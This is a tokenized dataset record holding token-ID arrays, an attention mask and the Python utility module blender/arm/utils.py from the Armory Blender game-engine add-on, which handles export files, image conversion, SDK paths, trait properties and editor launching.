272, 327, 986, 282, 1343, 503, 1284, 315, 2399, 4145, 14, 272, 340, 1343, 365, 440, 488, 436, 1284, 365, 440, 488, 436, 1343, 690, 1284, 26, 267, 746, 14587, 461, 547, 6115, 3162, 900, 365, 2945, 2419, 1284, 900, 14, 7707, 26, 2818, 928, 9, 83, 12, 9599, 26, 2818, 500, 9, 83, 531, 450, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
luboslenco/cyclesgame
blender/arm/utils.py
1
24354
import bpy import json import os import glob import platform import zipfile import re import subprocess import webbrowser import numpy as np import arm.lib.armpack import arm.make_state as state import arm.log as log class NumpyEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, np.ndarray): return obj.tolist() return json.JSONEncoder.default(self, obj) def write_arm(filepath, output): if filepath.endswith('.zip'): with zipfile.ZipFile(filepath, 'w', zipfile.ZIP_DEFLATED) as zip_file: if bpy.data.worlds['Arm'].arm_minimize: zip_file.writestr('data.arm', arm.lib.armpack.packb(output)) else: zip_file.writestr('data.json', json.dumps(output, sort_keys=True, indent=4, cls=NumpyEncoder)) else: if bpy.data.worlds['Arm'].arm_minimize: with open(filepath, 'wb') as f: f.write(arm.lib.armpack.packb(output)) else: filepath_json = filepath.split('.arm')[0] + '.json' with open(filepath_json, 'w') as f: f.write(json.dumps(output, sort_keys=True, indent=4, cls=NumpyEncoder)) def unpack_image(image, path, file_format='JPEG'): print('Armory Info: Unpacking to ' + path) image.filepath_raw = path image.file_format = file_format image.save() def convert_image(image, path, file_format='JPEG'): # Convert image to compatible format print('Armory Info: Converting to ' + path) ren = bpy.context.scene.render orig_quality = ren.image_settings.quality orig_file_format = ren.image_settings.file_format orig_color_mode = ren.image_settings.color_mode ren.image_settings.quality = 90 ren.image_settings.file_format = file_format if file_format == 'PNG': ren.image_settings.color_mode = 'RGBA' image.save_render(path, scene=bpy.context.scene) ren.image_settings.quality = orig_quality ren.image_settings.file_format = orig_file_format ren.image_settings.color_mode = orig_color_mode def blend_name(): return bpy.path.basename(bpy.context.blend_data.filepath).rsplit('.')[0] def build_dir(): return 'build_' + safestr(blend_name()) def get_fp(): wrd = bpy.data.worlds['Arm'] if wrd.arm_project_root != '': return bpy.path.abspath(wrd.arm_project_root) else: s = bpy.data.filepath.split(os.path.sep) s.pop() return os.path.sep.join(s) def get_fp_build(): return get_fp() + '/' + build_dir() def get_os(): s = platform.system() if s == 'Windows': return 'win' elif s == 'Darwin': return 'mac' else: return 'linux' def get_gapi(): wrd = bpy.data.worlds['Arm'] if state.is_export: item = wrd.arm_exporterlist[wrd.arm_exporterlist_index] return getattr(item, target_to_gapi(item.arm_project_target)) if wrd.arm_runtime == 'Browser': return 'webgl' return arm.utils.get_player_gapi() def get_rp(): wrd = bpy.data.worlds['Arm'] return wrd.arm_rplist[wrd.arm_rplist_index] def bundled_sdk_path(): if get_os() == 'mac': # SDK on MacOS is located in .app folder due to security p = bpy.app.binary_path if p.endswith('Contents/MacOS/blender'): return p[:-len('Contents/MacOS/blender')] + '/armsdk/' else: return p[:-len('Contents/MacOS/./blender')] + '/armsdk/' elif get_os() == 'linux': # /blender return bpy.app.binary_path.rsplit('/', 1)[0] + '/armsdk/' else: # /blender.exe return bpy.app.binary_path.replace('\\', '/').rsplit('/', 1)[0] + '/armsdk/' # Passed by load_post handler when armsdk is found in project folder use_local_sdk = False def get_sdk_path(): preferences = bpy.context.preferences addon_prefs = preferences.addons["armory"].preferences p = bundled_sdk_path() if use_local_sdk: return get_fp() + '/armsdk/' elif os.path.exists(p) and addon_prefs.sdk_bundled: return p else: return addon_prefs.sdk_path def get_ide_path(): preferences = bpy.context.preferences addon_prefs = preferences.addons["armory"].preferences return '' if not hasattr(addon_prefs, 'ide_path') else addon_prefs.ide_path def get_ffmpeg_path(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return addon_prefs.ffmpeg_path def get_renderdoc_path(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences p = addon_prefs.renderdoc_path if p == '' and get_os() == 'win': pdefault = 'C:\\Program Files\\RenderDoc\\qrenderdoc.exe' if os.path.exists(pdefault): p = pdefault return p def get_player_gapi(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return 'opengl' if not hasattr(addon_prefs, 'player_gapi_' + get_os()) else getattr(addon_prefs, 'player_gapi_' + get_os()) def get_code_editor(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return 'kodestudio' if not hasattr(addon_prefs, 'code_editor') else addon_prefs.code_editor def get_ui_scale(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return 1.0 if not hasattr(addon_prefs, 'ui_scale') else addon_prefs.ui_scale def get_khamake_threads(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return 1 if not hasattr(addon_prefs, 'khamake_threads') else addon_prefs.khamake_threads def get_compilation_server(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return False if not hasattr(addon_prefs, 'compilation_server') else addon_prefs.compilation_server def get_save_on_build(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return False if not hasattr(addon_prefs, 'save_on_build') else addon_prefs.save_on_build def get_viewport_controls(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return 'qwerty' if not hasattr(addon_prefs, 'viewport_controls') else addon_prefs.viewport_controls def get_legacy_shaders(): preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return False if not hasattr(addon_prefs, 'legacy_shaders') else addon_prefs.legacy_shaders def get_relative_paths(): # Convert absolute paths to relative preferences = bpy.context.preferences addon_prefs = preferences.addons['armory'].preferences return False if not hasattr(addon_prefs, 'relative_paths') else addon_prefs.relative_paths def get_node_path(): if get_os() == 'win': return get_sdk_path() + '/nodejs/node.exe' elif get_os() == 'mac': return get_sdk_path() + '/nodejs/node-osx' else: return get_sdk_path() + '/nodejs/node-linux64' def get_kha_path(): if os.path.exists('Kha'): return 'Kha' return get_sdk_path() + '/Kha' def get_haxe_path(): if get_os() == 'win': return get_kha_path() + '/Tools/haxe/haxe.exe' elif get_os() == 'mac': return get_kha_path() + '/Tools/haxe/haxe-osx' else: return get_kha_path() + '/Tools/haxe/haxe-linux64' def get_khamake_path(): return get_kha_path() + '/make' def krom_paths(bin_ext=''): sdk_path = get_sdk_path() if arm.utils.get_os() == 'win': krom_location = sdk_path + '/Krom' krom_path = krom_location + '/Krom' + bin_ext + '.exe' elif arm.utils.get_os() == 'mac': krom_location = sdk_path + '/Krom/Krom.app/Contents/MacOS' krom_path = krom_location + '/Krom' + bin_ext else: krom_location = sdk_path + '/Krom' krom_path = krom_location + '/Krom' + bin_ext return krom_location, krom_path def fetch_bundled_script_names(): wrd = bpy.data.worlds['Arm'] wrd.arm_bundled_scripts_list.clear() os.chdir(get_sdk_path() + '/armory/Sources/armory/trait') for file in glob.glob('*.hx'): wrd.arm_bundled_scripts_list.add().name = file.rsplit('.')[0] script_props = {} script_props_defaults = {} def fetch_script_props(file): with open(file) as f: if '/' in file: file = file.split('/')[-1] if '\\' in file: file = file.split('\\')[-1] name = file.rsplit('.')[0] script_props[name] = [] script_props_defaults[name] = [] lines = f.read().splitlines() read_prop = False for l in lines: if not read_prop: read_prop = l.lstrip().startswith('@prop') if read_prop and 'var ' in l: p = l.split('var ')[1] valid_prop = False # Has type if ':' in p: # Fetch default value if '=' in p: s = p.split('=') ps = s[0].split(':') prop = (ps[0].strip(), ps[1].split(';')[0].strip()) prop_value = s[1].split(';')[0].replace('\'', '').replace('"', '').strip() valid_prop = True else: ps = p.split(':') prop = (ps[0].strip(), ps[1].split(';')[0].strip()) prop_value = '' valid_prop = True # Fetch default value elif '=' in p: s = p.split('=') prop = (s[0].strip(), None) prop_value = s[1].split(';')[0].replace('\'', '').replace('"', '').strip() valid_prop = True # Register prop if valid_prop: script_props[name].append(prop) script_props_defaults[name].append(prop_value) read_prop = False def fetch_script_names(): if bpy.data.filepath == "": return wrd = bpy.data.worlds['Arm'] # Sources wrd.arm_scripts_list.clear() sources_path = get_fp() + '/Sources/' + safestr(wrd.arm_project_package) if os.path.isdir(sources_path): os.chdir(sources_path) # Glob supports recursive search since python 3.5 so it should cover both blender 2.79 and 2.8 integrated python for file in glob.glob('**/*.hx', recursive=True): name = file.rsplit('.')[0] # Replace the path syntax for package syntax so that it can be searchable in blender traits "Class" dropdown wrd.arm_scripts_list.add().name = name.replace(os.sep, '.') fetch_script_props(file) # Canvas wrd.arm_canvas_list.clear() canvas_path = get_fp() + '/Bundled/canvas' if os.path.isdir(canvas_path): os.chdir(canvas_path) for file in glob.glob('*.json'): wrd.arm_canvas_list.add().name = file.rsplit('.')[0] os.chdir(get_fp()) def fetch_wasm_names(): if bpy.data.filepath == "": return wrd = bpy.data.worlds['Arm'] # WASM modules wrd.arm_wasm_list.clear() sources_path = get_fp() + '/Bundled' if os.path.isdir(sources_path): os.chdir(sources_path) for file in glob.glob('*.wasm'): name = file.rsplit('.')[0] wrd.arm_wasm_list.add().name = name os.chdir(get_fp()) def fetch_trait_props(): for o in bpy.data.objects: fetch_prop(o) for s in bpy.data.scenes: fetch_prop(s) def fetch_prop(o): for item in o.arm_traitlist: if item.name not in script_props: continue props = script_props[item.name] defaults = script_props_defaults[item.name] # Remove old props for i in range(len(item.arm_traitpropslist) - 1, -1, -1): ip = item.arm_traitpropslist[i] # if ip.name not in props: if ip.name.split('(')[0] not in [p[0] for p in props]: item.arm_traitpropslist.remove(i) # Add new props for i in range(0, len(props)): p = props[i] found = False for ip in item.arm_traitpropslist: if ip.name.replace(')', '').split('(')[0] == p[0]: found = ip break # Not in list if not found: prop = item.arm_traitpropslist.add() prop.name = p[0] + ('(' + p[1] + ')' if p[1] else '') prop.value = defaults[i] if found: prop = item.arm_traitpropslist[found.name] f = found.name.replace(')', '').split('(') # Default value added and current value is blank (no override) if (not found.value and defaults[i]): prop.value = defaults[i] # Type has changed, update displayed name if (len(f) == 1 or (len(f) > 1 and f[1] != p[1])): prop.name = p[0] + ('(' + p[1] + ')' if p[1] else '') def fetch_bundled_trait_props(): # Bundled script props for o in bpy.data.objects: for t in o.arm_traitlist: if t.type_prop == 'Bundled Script': file_path = get_sdk_path() + '/armory/Sources/armory/trait/' + t.name + '.hx' if os.path.exists(file_path): fetch_script_props(file_path) fetch_prop(o) def update_trait_collections(): for col in bpy.data.collections: if col.name.startswith('Trait|'): bpy.data.collections.remove(col) for o in bpy.data.objects: for t in o.arm_traitlist: if 'Trait|' + t.name not in bpy.data.collections: col = bpy.data.collections.new('Trait|' + t.name) else: col = bpy.data.collections['Trait|' + t.name] col.objects.link(o) def to_hex(val): return '#%02x%02x%02x%02x' % (int(val[3] * 255), int(val[0] * 255), int(val[1] * 255), int(val[2] * 255)) def color_to_int(val): return (int(val[3] * 255) << 24) + (int(val[0] * 255) << 16) + (int(val[1] * 255) << 8) + int(val[2] * 255) def safesrc(s): s = safestr(s).replace('.', '_').replace('-', '_').replace(' ', '') if s[0].isdigit(): s = '_' + s return s def safestr(s): for c in r'[]/\;,><&*:%=+@!#^()|?^': s = s.replace(c, '_') return ''.join([i if ord(i) < 128 else '_' for i in s]) def asset_name(bdata): s = bdata.name # Append library name if linked if bdata.library != None: s += '_' + bdata.library.name return s def asset_path(s): return s[2:] if s[:2] == '//' else s # Remove leading '//' def extract_filename(s): return os.path.basename(asset_path(s)) def get_render_resolution(scene): render = scene.render scale = render.resolution_percentage / 100 return int(render.resolution_x * scale), int(render.resolution_y * scale) def get_project_scene_name(): return get_active_scene().name def get_active_scene(): if not state.is_export: return bpy.context.scene else: wrd = bpy.data.worlds['Arm'] item = wrd.arm_exporterlist[wrd.arm_exporterlist_index] return item.arm_project_scene def logic_editor_space(context_screen=None): if context_screen == None: context_screen = bpy.context.screen if context_screen != None: areas = context_screen.areas for area in areas: for space in area.spaces: if space.type == 'NODE_EDITOR': if space.node_tree != None and space.node_tree.bl_idname == 'ArmLogicTreeType': return space return None def voxel_support(): # macos does not support opengl 4.5, needs metal return state.target != 'html5' and get_os() != 'mac' def get_cascade_size(rpdat): cascade_size = int(rpdat.rp_shadowmap_cascade) # Clamp to 4096 per cascade if int(rpdat.rp_shadowmap_cascades) > 1 and cascade_size > 4096: cascade_size = 4096 return cascade_size def check_saved(self): if bpy.data.filepath == "": msg = "Save blend file first" self.report({"ERROR"}, msg) if self != None else log.print_info(msg) return False return True def check_path(s): for c in r'[];><&*%=+@!#^()|?^': if c in s: return False for c in s: if ord(c) > 127: return False return True def check_sdkpath(self): s = get_sdk_path() if check_path(s) == False: msg = "SDK path '{0}' contains special characters. Please move SDK to different path for now.".format(s) self.report({"ERROR"}, msg) if self != None else log.print_info(msg) return False else: return True def check_projectpath(self): s = get_fp() if check_path(s) == False: msg = "Project path '{0}' contains special characters, build process may fail.".format(s) self.report({"ERROR"}, msg) if self != None else log.print_info(msg) return False else: return True def disp_enabled(target): rpdat = get_rp() if rpdat.arm_rp_displacement == 'Tessellation': return target == 'krom' or target == 'native' return rpdat.arm_rp_displacement != 'Off' def is_object_animation_enabled(bobject): # Checks if animation is present and enabled if bobject.arm_animation_enabled == False or bobject.type == 'BONE' or bobject.type == 'ARMATURE': return False if bobject.animation_data and bobject.animation_data.action: return True return False def is_bone_animation_enabled(bobject): # Checks if animation is present and enabled for parented armature if bobject.parent and bobject.parent.type == 'ARMATURE': if bobject.parent.arm_animation_enabled == False: return False # Check for present actions adata = bobject.parent.animation_data has_actions = adata != None and adata.action != None if not has_actions and adata != None: if hasattr(adata, 'nla_tracks') and adata.nla_tracks != None: for track in adata.nla_tracks: if track.strips == None: continue for strip in track.strips: if strip.action == None: continue has_actions = True break if has_actions: break if adata != None and has_actions: return True return False def export_bone_data(bobject): return bobject.find_armature() and is_bone_animation_enabled(bobject) and get_rp().arm_skin == 'On' def kode_studio_mklink_win(sdk_path, ide_path): # Fight long-path issues on Windows if not os.path.exists(ide_path + '/resources/app/kodeExtensions/kha/Kha'): source = ide_path + '/resources/app/kodeExtensions/kha/Kha' target = sdk_path + '/Kha' subprocess.check_call('mklink /J "%s" "%s"' % (source, target), shell=True) if not os.path.exists(ide_path + '/resources/app/kodeExtensions/krom/Krom'): source = ide_path + '/resources/app/kodeExtensions/krom/Krom' target = sdk_path + '/Krom' subprocess.check_call('mklink /J "%s" "%s"' % (source, target), shell=True) def kode_studio_mklink_linux(sdk_path, ide_path): if not os.path.exists(ide_path + '/resources/app/kodeExtensions/kha/Kha'): source = ide_path + '/resources/app/kodeExtensions/kha/Kha' target = sdk_path + '/Kha' subprocess.check_call('ln -s "%s" "%s"' % (target, source), shell=True) if not os.path.exists(ide_path + '/resources/app/kodeExtensions/krom/Krom'): source = ide_path + '/resources/app/kodeExtensions/krom/Krom' target = sdk_path + '/Krom' subprocess.check_call('ln -s "%s" "%s"' % (target, source), shell=True) def kode_studio_mklink_mac(sdk_path, ide_path): if not os.path.exists(ide_path + '/Contents/Resources/app/kodeExtensions/kha/Kha'): source = ide_path + '/Contents/Resources/app/kodeExtensions/kha/Kha' target = sdk_path + '/Kha' subprocess.check_call('ln -fs "%s" "%s"' % (target, source), shell=True) if not os.path.exists(ide_path + '/Contents/Resources/app/kodeExtensions/krom/Krom'): source = ide_path + '/Contents/Resources/app/kodeExtensions/krom/Krom' target = sdk_path + '/Krom' subprocess.check_call('ln -fs "%s" "%s"' % (target, source), shell=True) def get_kode_path(): p = get_ide_path() if p == '': if get_os() == 'win': p = get_sdk_path() + '/win32' elif get_os() == 'mac': p = get_sdk_path() + '/KodeStudio.app' else: p = get_sdk_path() + '/linux64' return p def get_kode_bin(): p = get_kode_path() if get_os() == 'win': return p + '/Kode Studio.exe' elif get_os() == 'mac': return p + '/Contents/MacOS/Electron' else: return p + '/kodestudio' def get_vscode_bin(): p = get_kode_path() if get_os() == 'win': return p + '/Code.exe' elif get_os() == 'mac': return p + '/Contents/MacOS/Electron' else: return p + '/code' def kode_studio(hx_path=None): project_path = arm.utils.get_fp() kode_bin = get_kode_bin() if not os.path.exists(kode_bin): kode_bin = get_vscode_bin() if os.path.exists(kode_bin) and get_code_editor() == 'kodestudio': if arm.utils.get_os() == 'win': # kode_studio_mklink_win(get_sdk_path(), get_kode_path()) args = [kode_bin, arm.utils.get_fp()] if hx_path != None: args.append(hx_path) subprocess.Popen(args) elif arm.utils.get_os() == 'mac': # kode_studio_mklink_mac(get_sdk_path(), get_kode_path()) args = ['"' + kode_bin + '"' + ' "' + arm.utils.get_fp() + '"'] if hx_path != None: args[0] += ' "' + hx_path + '"' subprocess.Popen(args, shell=True) else: # kode_studio_mklink_linux(get_sdk_path(), get_kode_path()) args = [kode_bin, arm.utils.get_fp()] if hx_path != None: args.append(hx_path) subprocess.Popen(args) else: fp = hx_path if hx_path != None else arm.utils.get_fp() webbrowser.open('file://' + fp) def def_strings_to_array(strdefs): defs = strdefs.split('_') defs = defs[1:] defs = ['_' + d for d in defs] # Restore _ return defs def get_kha_target(target_name): # TODO: remove if target_name == 'macos-hl': return 'osx-hl' elif target_name.startswith('krom'): # krom-windows return 'krom' elif target_name == 'custom': return '' return target_name def target_to_gapi(arm_project_target): # TODO: align target names if arm_project_target == 'krom': return 'arm_gapi_' + arm.utils.get_os() elif arm_project_target == 'krom-windows': return 'arm_gapi_win' elif arm_project_target == 'windows-hl': return 'arm_gapi_win' elif arm_project_target == 'krom-linux': return 'arm_gapi_linux' elif arm_project_target == 'linux-hl': return 'arm_gapi_linux' elif arm_project_target == 'krom-macos': return 'arm_gapi_mac' elif arm_project_target == 'macos-hl': return 'arm_gapi_mac' elif arm_project_target == 'android-native-hl': return 'arm_gapi_android' elif arm_project_target == 'ios-hl': return 'arm_gapi_ios' elif arm_project_target == 'node': return 'arm_gapi_html5' else: # html5, custom return 'arm_gapi_' + arm_project_target def check_default_props(): wrd = bpy.data.worlds['Arm'] if len(wrd.arm_rplist) == 0: wrd.arm_rplist.add() wrd.arm_rplist_index = 0 if wrd.arm_project_name == '': # Take blend file name wrd.arm_project_name = arm.utils.blend_name() def register(local_sdk=False): global use_local_sdk use_local_sdk = local_sdk def unregister(): pass
lgpl-3.0
[ 646, 20575, 199, 646, 2022, 199, 646, 747, 199, 646, 5739, 199, 646, 4298, 199, 646, 10392, 199, 646, 295, 199, 646, 3873, 199, 646, 781, 29063, 199, 646, 2680, 465, 980, 199, 646, 30701, 14, 773, 14, 285, 311, 564, 199, 646, 30701, 14, 1875, 63, 929, 465, 1174, 199, 646, 30701, 14, 793, 465, 943, 199, 199, 533, 20535, 6679, 8, 1001, 14, 23069, 304, 272, 347, 849, 8, 277, 12, 1559, 304, 267, 340, 1228, 8, 1113, 12, 980, 14, 8237, 304, 288, 372, 1559, 14, 13633, 342, 267, 372, 2022, 14, 23069, 14, 885, 8, 277, 12, 1559, 9, 199, 199, 318, 2218, 63, 5362, 8, 7218, 12, 1072, 304, 272, 340, 9911, 14, 4130, 5175, 3065, 735, 267, 543, 10392, 14, 15016, 8, 7218, 12, 283, 87, 297, 10392, 14, 16977, 63, 28506, 9, 465, 3482, 63, 493, 26, 288, 340, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 2278, 5362, 63, 19333, 26, 355, 3482, 63, 493, 14, 3392, 28792, 360, 576, 14, 5362, 297, 30701, 14, 773, 14, 285, 311, 564, 14, 1389, 66, 8, 1199, 430, 288, 587, 26, 355, 3482, 63, 493, 14, 3392, 28792, 360, 576, 14, 1001, 297, 2022, 14, 4180, 8, 1199, 12, 4069, 63, 1612, 29, 549, 12, 4363, 29, 20, 12, 843, 29, 25218, 6679, 430, 272, 587, 26, 267, 340, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 2278, 5362, 63, 19333, 26, 288, 543, 1551, 8, 7218, 12, 283, 6603, 358, 465, 289, 26, 355, 289, 14, 952, 8, 5362, 14, 773, 14, 285, 311, 564, 14, 1389, 66, 8, 1199, 430, 267, 587, 26, 288, 9911, 63, 1001, 275, 9911, 14, 1294, 5175, 5362, 5832, 16, 61, 435, 1987, 1001, 7, 288, 543, 1551, 8, 7218, 63, 1001, 12, 283, 87, 358, 465, 289, 26, 355, 289, 14, 952, 8, 1001, 14, 4180, 8, 1199, 12, 4069, 63, 1612, 29, 549, 12, 4363, 29, 20, 12, 843, 29, 25218, 6679, 430, 199, 199, 318, 7787, 63, 1569, 8, 1569, 12, 931, 12, 570, 63, 908, 534, 28412, 735, 272, 870, 360, 1596, 2572, 10332, 26, 31017, 316, 370, 283, 435, 931, 9, 272, 1834, 14, 7218, 63, 1773, 275, 931, 272, 1834, 14, 493, 63, 908, 275, 570, 63, 908, 272, 1834, 14, 2117, 342, 199, 199, 318, 3957, 63, 1569, 8, 1569, 12, 931, 12, 570, 63, 908, 534, 28412, 735, 272, 327, 7905, 1834, 370, 9025, 1475, 272, 870, 360, 1596, 2572, 10332, 26, 23258, 370, 283, 435, 931, 9, 272, 2903, 275, 20575, 14, 1100, 14, 10436, 14, 3352, 272, 2306, 63, 9161, 275, 2903, 14, 1569, 63, 1751, 14, 9161, 272, 2306, 63, 493, 63, 908, 275, 2903, 14, 1569, 63, 1751, 14, 493, 63, 908, 272, 2306, 63, 2326, 63, 632, 275, 2903, 14, 1569, 63, 1751, 14, 2326, 63, 632, 272, 2903, 14, 1569, 63, 1751, 14, 9161, 275, 9137, 272, 2903, 14, 1569, 63, 1751, 14, 493, 63, 908, 275, 570, 63, 908, 272, 340, 570, 63, 908, 508, 283, 24454, 356, 267, 2903, 14, 1569, 63, 1751, 14, 2326, 63, 632, 275, 283, 21631, 7, 272, 1834, 14, 2117, 63, 3352, 8, 515, 12, 13856, 29, 66, 647, 14, 1100, 14, 10436, 9, 272, 2903, 14, 1569, 63, 1751, 14, 9161, 275, 2306, 63, 9161, 272, 2903, 14, 1569, 63, 1751, 14, 493, 63, 908, 275, 2306, 63, 493, 63, 908, 272, 2903, 14, 1569, 63, 1751, 14, 2326, 63, 632, 275, 2306, 63, 2326, 63, 632, 199, 199, 318, 330, 12944, 63, 354, 837, 272, 372, 20575, 14, 515, 14, 4846, 8, 66, 647, 14, 1100, 14, 27163, 63, 576, 14, 7218, 680, 13490, 19237, 16, 61, 199, 199, 318, 1900, 63, 694, 837, 272, 372, 283, 1506, 8650, 435, 5048, 495, 8, 27163, 63, 354, 1012, 199, 199, 318, 664, 63, 3997, 837, 272, 336, 6883, 275, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 418, 272, 340, 336, 6883, 14, 5362, 63, 1715, 63, 1231, 1137, 8061, 267, 372, 20575, 14, 515, 14, 4832, 8, 87, 6883, 14, 5362, 63, 1715, 63, 1231, 9, 272, 587, 26, 267, 308, 275, 20575, 14, 576, 14, 7218, 14, 1294, 8, 736, 14, 515, 14, 4127, 9, 267, 308, 14, 1935, 342, 267, 372, 747, 14, 515, 14, 4127, 14, 904, 8, 83, 9, 199, 199, 318, 664, 63, 3997, 63, 1506, 837, 272, 372, 664, 63, 3997, 342, 435, 7324, 435, 1900, 63, 694, 342, 199, 199, 318, 664, 63, 736, 837, 272, 308, 275, 4298, 14, 2253, 342, 272, 340, 308, 508, 283, 8647, 356, 267, 372, 283, 2676, 7, 272, 916, 308, 508, 283, 31065, 356, 267, 372, 283, 3088, 7, 272, 587, 26, 267, 372, 283, 5135, 7, 199, 199, 318, 664, 63, 71, 1246, 837, 272, 336, 6883, 275, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 418, 272, 340, 1174, 14, 374, 63, 3790, 26, 267, 1242, 275, 336, 6883, 14, 5362, 63, 30305, 513, 59, 87, 6883, 14, 5362, 63, 30305, 513, 63, 1080, 61, 267, 372, 2519, 8, 1053, 12, 1347, 63, 475, 63, 71, 1246, 8, 1053, 14, 5362, 63, 1715, 63, 1375, 430, 272, 340, 336, 6883, 14, 5362, 63, 7726, 508, 283, 11930, 356, 267, 372, 283, 2520, 3528, 7, 272, 372, 30701, 14, 1208, 14, 362, 63, 6147, 63, 71, 1246, 342, 199, 199, 318, 664, 63, 4599, 837, 272, 336, 6883, 275, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 418, 272, 372, 336, 6883, 14, 5362, 63, 4599, 513, 59, 87, 6883, 14, 5362, 63, 4599, 513, 63, 1080, 61, 199, 199, 318, 330, 725, 1146, 63, 9277, 63, 515, 837, 272, 340, 664, 63, 736, 342, 508, 283, 3088, 356, 267, 327, 15610, 641, 10444, 3100, 365, 16180, 315, 1275, 571, 4922, 7037, 370, 6391, 267, 299, 275, 20575, 14, 571, 14, 3008, 63, 515, 267, 340, 299, 14, 4130, 360, 11383, 15, 3399, 3100, 15, 66, 24912, 735, 288, 372, 299, 4439, 552, 360, 11383, 15, 3399, 3100, 15, 66, 24912, 5440, 435, 1994, 25005, 6341, 4805, 267, 587, 26, 288, 372, 299 ]
[ 20575, 199, 646, 2022, 199, 646, 747, 199, 646, 5739, 199, 646, 4298, 199, 646, 10392, 199, 646, 295, 199, 646, 3873, 199, 646, 781, 29063, 199, 646, 2680, 465, 980, 199, 646, 30701, 14, 773, 14, 285, 311, 564, 199, 646, 30701, 14, 1875, 63, 929, 465, 1174, 199, 646, 30701, 14, 793, 465, 943, 199, 199, 533, 20535, 6679, 8, 1001, 14, 23069, 304, 272, 347, 849, 8, 277, 12, 1559, 304, 267, 340, 1228, 8, 1113, 12, 980, 14, 8237, 304, 288, 372, 1559, 14, 13633, 342, 267, 372, 2022, 14, 23069, 14, 885, 8, 277, 12, 1559, 9, 199, 199, 318, 2218, 63, 5362, 8, 7218, 12, 1072, 304, 272, 340, 9911, 14, 4130, 5175, 3065, 735, 267, 543, 10392, 14, 15016, 8, 7218, 12, 283, 87, 297, 10392, 14, 16977, 63, 28506, 9, 465, 3482, 63, 493, 26, 288, 340, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 2278, 5362, 63, 19333, 26, 355, 3482, 63, 493, 14, 3392, 28792, 360, 576, 14, 5362, 297, 30701, 14, 773, 14, 285, 311, 564, 14, 1389, 66, 8, 1199, 430, 288, 587, 26, 355, 3482, 63, 493, 14, 3392, 28792, 360, 576, 14, 1001, 297, 2022, 14, 4180, 8, 1199, 12, 4069, 63, 1612, 29, 549, 12, 4363, 29, 20, 12, 843, 29, 25218, 6679, 430, 272, 587, 26, 267, 340, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 2278, 5362, 63, 19333, 26, 288, 543, 1551, 8, 7218, 12, 283, 6603, 358, 465, 289, 26, 355, 289, 14, 952, 8, 5362, 14, 773, 14, 285, 311, 564, 14, 1389, 66, 8, 1199, 430, 267, 587, 26, 288, 9911, 63, 1001, 275, 9911, 14, 1294, 5175, 5362, 5832, 16, 61, 435, 1987, 1001, 7, 288, 543, 1551, 8, 7218, 63, 1001, 12, 283, 87, 358, 465, 289, 26, 355, 289, 14, 952, 8, 1001, 14, 4180, 8, 1199, 12, 4069, 63, 1612, 29, 549, 12, 4363, 29, 20, 12, 843, 29, 25218, 6679, 430, 199, 199, 318, 7787, 63, 1569, 8, 1569, 12, 931, 12, 570, 63, 908, 534, 28412, 735, 272, 870, 360, 1596, 2572, 10332, 26, 31017, 316, 370, 283, 435, 931, 9, 272, 1834, 14, 7218, 63, 1773, 275, 931, 272, 1834, 14, 493, 63, 908, 275, 570, 63, 908, 272, 1834, 14, 2117, 342, 199, 199, 318, 3957, 63, 1569, 8, 1569, 12, 931, 12, 570, 63, 908, 534, 28412, 735, 272, 327, 7905, 1834, 370, 9025, 1475, 272, 870, 360, 1596, 2572, 10332, 26, 23258, 370, 283, 435, 931, 9, 272, 2903, 275, 20575, 14, 1100, 14, 10436, 14, 3352, 272, 2306, 63, 9161, 275, 2903, 14, 1569, 63, 1751, 14, 